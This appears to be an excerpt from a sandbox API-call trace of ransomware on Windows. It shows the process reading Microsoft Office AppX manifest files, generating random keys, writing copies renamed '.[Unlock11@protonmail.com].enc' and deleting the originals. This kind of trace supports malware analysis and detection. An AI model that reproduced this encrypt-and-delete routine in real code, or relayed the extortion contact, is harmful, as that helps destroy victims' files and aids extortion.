[0134.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0134.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.634] GetLastError () returned 0x0 [0134.634] GetLastError () returned 0x0 [0134.635] GetLastError () returned 0x0 [0134.635] GetLastError () returned 0x0 [0134.635] GetCurrentThreadId () returned 0x9b0 [0134.635] GetLastError () returned 0x0 [0134.635] GetCurrentThreadId () returned 0x9b0 [0134.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.635] GetLastError () returned 0x0 [0134.635] GetLastError () returned 0x0 [0134.635] GetLastError () returned 0x0 [0134.635] GetLastError () returned 0x0 [0134.636] GetCurrentThreadId () returned 0x9b0 [0134.636] GetLastError () returned 0x0 [0134.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.636] GetCurrentThreadId () returned 0x9b0 [0134.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6638 [0134.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3338 | out: hHeap=0x2ad0000) returned 1 [0134.636] GetLastError () returned 0x0 [0134.636] GetLastError () returned 0x0 [0134.636] GetLastError () returned 0x0 [0134.636] GetLastError () returned 0x0 [0134.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6748 [0134.637] GetLastError () returned 0x0 [0134.637] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.637] GetFileType (hFile=0x39c) returned 0x1 [0134.637] GetLastError () returned 0x0 [0134.637] GetCurrentThreadId () returned 0x9b0 [0134.637] GetLastError () returned 0x0 [0134.637] GetFileType (hFile=0x39c) returned 0x1 [0134.637] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.638] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.638] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.638] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.638] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.638] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.638] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.638] GetLastError () returned 0x0 [0134.638] GetCurrentThreadId () returned 0x9b0 [0134.638] GetLastError () returned 0x0 [0134.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0134.638] GetLastError () returned 0x0 [0134.638] GetLastError () returned 0x0 [0134.639] GetLastError () returned 0x0 [0134.639] GetLastError () returned 0x0 [0134.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6748 [0134.639] GetLastError () returned 0x0 [0134.639] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.639] GetFileType (hFile=0x3ac) returned 0x1 [0134.640] GetLastError () returned 0x0 [0134.640] GetCurrentThreadId () returned 0x9b0 [0134.640] GetLastError () returned 0x0 [0134.640] GetFileType (hFile=0x3ac) returned 0x1 [0134.640] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.640] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.640] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.640] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.640] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.640] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.640] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.640] GetLastError () returned 0x0 [0134.641] GetCurrentThreadId () returned 0x9b0 [0134.641] GetLastError () returned 0x0 [0134.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf868 | out: hHeap=0x2ad0000) returned 1 [0134.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.641] GetCurrentThreadId () returned 0x9b0 [0134.641] GetLastError () returned 0x0 [0134.641] GetCurrentThreadId () returned 0x9b0 [0134.641] GetLastError () returned 0x0 [0134.643] GetCurrentThreadId () returned 0x9b0 [0134.643] GetLastError () returned 0x0 [0134.643] GetCurrentThreadId () returned 0x9b0 [0134.643] GetCurrentThreadId () returned 0x9b0 [0134.643] GetLastError () returned 0x0 [0134.643] GetCurrentThreadId () returned 0x9b0 [0134.643] GetLastError () returned 0x0 [0134.643] GetCurrentThreadId () returned 0x9b0 [0134.643] GetLastError () returned 0x0 [0134.644] CloseHandle (hObject=0x3ac) returned 1 [0134.644] GetCurrentThreadId () returned 0x9b0 [0134.645] GetLastError () returned 0x0 [0134.645] CloseHandle (hObject=0x39c) returned 1 [0134.645] GetCurrentThreadId () returned 0x9b0 [0134.645] GetLastError () returned 0x0 [0134.645] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0134.646] GetLastError () returned 0x0 [0134.646] GetCurrentThreadId () returned 0x9b0 [0134.646] GetLastError () returned 0x0 [0134.646] GetCurrentThreadId () returned 0x9b0 [0134.647] GetLastError () returned 0x0 [0134.647] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.647] GetCurrentThreadId () returned 0x9b0 [0134.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.647] GetCurrentThreadId () returned 0x9b0 [0134.647] GetLastError () returned 0x0 [0134.647] GetCurrentThreadId () returned 0x9b0 [0134.647] GetLastError () returned 0x0 [0134.647] GetCurrentThreadId () returned 0x9b0 [0134.647] GetCurrentThreadId () returned 0x9b0 [0134.648] GetLastError () returned 0x0 [0134.648] GetCurrentThreadId () returned 0x9b0 [0134.648] GetLastError () returned 0x0 [0134.648] GetCurrentThreadId () returned 0x9b0 [0134.648] GetLastError () returned 0x0 [0134.648] GetCurrentThreadId () returned 0x9b0 [0134.648] GetLastError () returned 0x0 [0134.648] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.648] GetLastError () returned 0x0 [0134.648] GetCurrentThreadId () returned 0x9b0 [0134.648] GetLastError () returned 0x0 [0134.649] GetCurrentThreadId () returned 0x9b0 [0134.649] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b1c4 | out: pbBuffer=0x366b1c4) returned 1 [0134.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0134.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0134.649] GetCurrentThreadId () returned 0x9b0 [0134.649] GetCurrentThreadId () returned 0x9b0 [0134.649] GetLastError () returned 0x0 [0134.649] GetCurrentThreadId () returned 0x9b0 [0134.649] GetLastError () returned 0x0 [0134.649] GetCurrentThreadId () returned 0x9b0 [0134.649] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.650] GetFileType (hFile=0x39c) returned 0x1 [0134.650] GetCurrentThreadId () returned 0x9b0 [0134.650] GetLastError () returned 0x0 [0134.650] GetFileType (hFile=0x39c) returned 0x1 [0134.650] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.650] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.650] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.650] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.650] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.650] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.651] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.651] GetLastError () returned 0x0 [0134.651] GetCurrentThreadId () returned 0x9b0 [0134.651] GetLastError () returned 0x0 [0134.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.651] GetLastError () returned 0x0 [0134.651] GetLastError () returned 0x0 [0134.651] GetLastError () returned 0x0 [0134.651] GetLastError () returned 0x0 [0134.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6588 [0134.652] GetLastError () returned 0x0 [0134.652] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.652] GetFileType (hFile=0x3ac) returned 0x1 [0134.652] GetLastError () returned 0x0 [0134.652] GetCurrentThreadId () returned 0x9b0 [0134.652] GetLastError () returned 0x0 [0134.652] GetFileType (hFile=0x3ac) returned 0x1 [0134.653] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.653] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.653] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.653] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.653] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.653] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.653] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.653] GetLastError () returned 0x0 [0134.653] GetCurrentThreadId () returned 0x9b0 [0134.653] GetLastError () returned 0x0 [0134.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6588 | out: hHeap=0x2ad0000) returned 1 [0134.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf868 | out: hHeap=0x2ad0000) returned 1 [0134.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0134.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0134.654] GetLastError () returned 0x0 [0134.654] GetLastError () returned 0x0 [0134.654] GetCurrentThreadId () returned 0x9b0 [0134.654] GetLastError () returned 0x0 [0134.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.654] GetLastError () returned 0x0 [0134.654] GetLastError () returned 0x0 [0134.654] GetCurrentThreadId () returned 0x9b0 [0134.654] GetLastError () returned 0x0 [0134.654] GetLastError () returned 0x0 [0134.656] GetLastError () returned 0x0 [0134.656] GetCurrentThreadId () returned 0x9b0 [0134.656] GetLastError () returned 0x0 [0134.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3828e70 [0134.656] GetCurrentThreadId () returned 0x9b0 [0134.656] GetLastError () returned 0x0 [0134.657] GetLastError () returned 0x0 [0134.657] GetLastError () returned 0x0 [0134.657] GetLastError () returned 0x0 [0134.657] GetCurrentThreadId () returned 0x9b0 [0134.657] GetLastError () returned 0x0 [0134.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3828e70 | out: hHeap=0x2ad0000) returned 1 [0134.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.657] GetLastError () returned 0x0 [0134.657] GetLastError () returned 0x0 [0134.658] GetCurrentThreadId () returned 0x9b0 [0134.658] GetLastError () returned 0x0 [0134.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ae20 | out: hHeap=0x2ad0000) returned 1 [0134.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.658] GetLastError () returned 0x0 [0134.658] GetLastError () returned 0x0 [0134.658] GetCurrentThreadId () returned 0x9b0 [0134.658] GetLastError () returned 0x0 [0134.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.658] GetLastError () returned 0x0 [0134.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.660] CloseHandle (hObject=0x3ac) returned 1 [0134.660] GetLastError () returned 0x0 [0134.660] GetCurrentThreadId () returned 0x9b0 [0134.660] GetLastError () returned 0x0 [0134.660] GetLastError () returned 0x0 [0134.660] CloseHandle (hObject=0x39c) returned 1 [0134.660] GetCurrentThreadId () returned 0x9b0 [0134.661] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0134.662] GetCurrentThreadId () returned 0x9b0 [0134.662] GetCurrentThreadId () returned 0x9b0 [0134.662] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0134.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0134.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0134.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0134.662] GetCurrentThreadId () returned 0x9b0 [0134.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.662] GetCurrentThreadId () returned 0x9b0 [0134.663] GetCurrentThreadId () returned 0x9b0 [0134.663] GetCurrentThreadId () returned 0x9b0 [0134.663] GetCurrentThreadId () returned 0x9b0 [0134.663] GetCurrentThreadId () returned 0x9b0 [0134.663] GetCurrentThreadId () returned 0x9b0 [0134.663] GetCurrentThreadId () returned 0x9b0 [0134.663] GetCurrentThreadId () returned 0x9b0 [0134.663] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56)) returned 1 [0134.663] GetCurrentThreadId () returned 0x9b0 [0134.664] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b084 | out: pbBuffer=0x366b084) returned 1 [0134.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0134.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0134.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0134.664] GetCurrentThreadId () returned 0x9b0 [0134.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.664] GetCurrentThreadId () returned 0x9b0 [0134.664] GetCurrentThreadId () returned 0x9b0 [0134.664] GetCurrentThreadId () returned 0x9b0 [0134.665] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.665] GetFileType (hFile=0x39c) returned 0x1 [0134.665] GetCurrentThreadId () returned 0x9b0 [0134.665] GetFileType (hFile=0x39c) returned 0x1 [0134.665] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.665] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.665] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.665] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.665] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.665] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.666] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.666] GetLastError () returned 0x0 [0134.666] GetCurrentThreadId () returned 0x9b0 [0134.666] GetLastError () returned 0x0 [0134.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0134.666] GetLastError () returned 0x0 [0134.666] GetLastError () returned 0x0 [0134.666] GetLastError () returned 0x0 [0134.666] GetLastError () returned 0x0 [0134.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6748 [0134.667] GetLastError () returned 0x0 [0134.667] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.667] GetFileType (hFile=0x3ac) returned 0x1 [0134.667] GetLastError () returned 0x0 [0134.667] GetCurrentThreadId () returned 0x9b0 [0134.667] GetLastError () returned 0x0 [0134.667] GetFileType (hFile=0x3ac) returned 0x1 [0134.667] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.668] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.668] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.668] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.668] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.668] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.668] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.668] GetLastError () returned 0x0 [0134.668] GetCurrentThreadId () returned 0x9b0 [0134.668] GetLastError () returned 0x0 [0134.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfce8 | out: hHeap=0x2ad0000) returned 1 [0134.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0134.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0134.669] GetLastError () returned 0x0 [0134.669] GetLastError () returned 0x0 [0134.669] GetCurrentThreadId () returned 0x9b0 [0134.669] GetLastError () returned 0x0 [0134.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0134.669] GetLastError () returned 0x0 [0134.669] GetLastError () returned 0x0 [0134.669] GetCurrentThreadId () returned 0x9b0 [0134.669] GetLastError () returned 0x0 [0134.669] GetLastError () returned 0x0 [0134.672] GetLastError () returned 0x0 [0134.672] GetCurrentThreadId () returned 0x9b0 [0134.672] GetLastError () returned 0x0 [0134.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.672] GetCurrentThreadId () returned 0x9b0 [0134.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.673] GetLastError () returned 0x0 [0134.673] GetLastError () returned 0x0 [0134.673] GetLastError () returned 0x0 [0134.673] GetLastError () returned 0x0 [0134.673] GetCurrentThreadId () returned 0x9b0 [0134.673] GetLastError () returned 0x0 [0134.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.674] 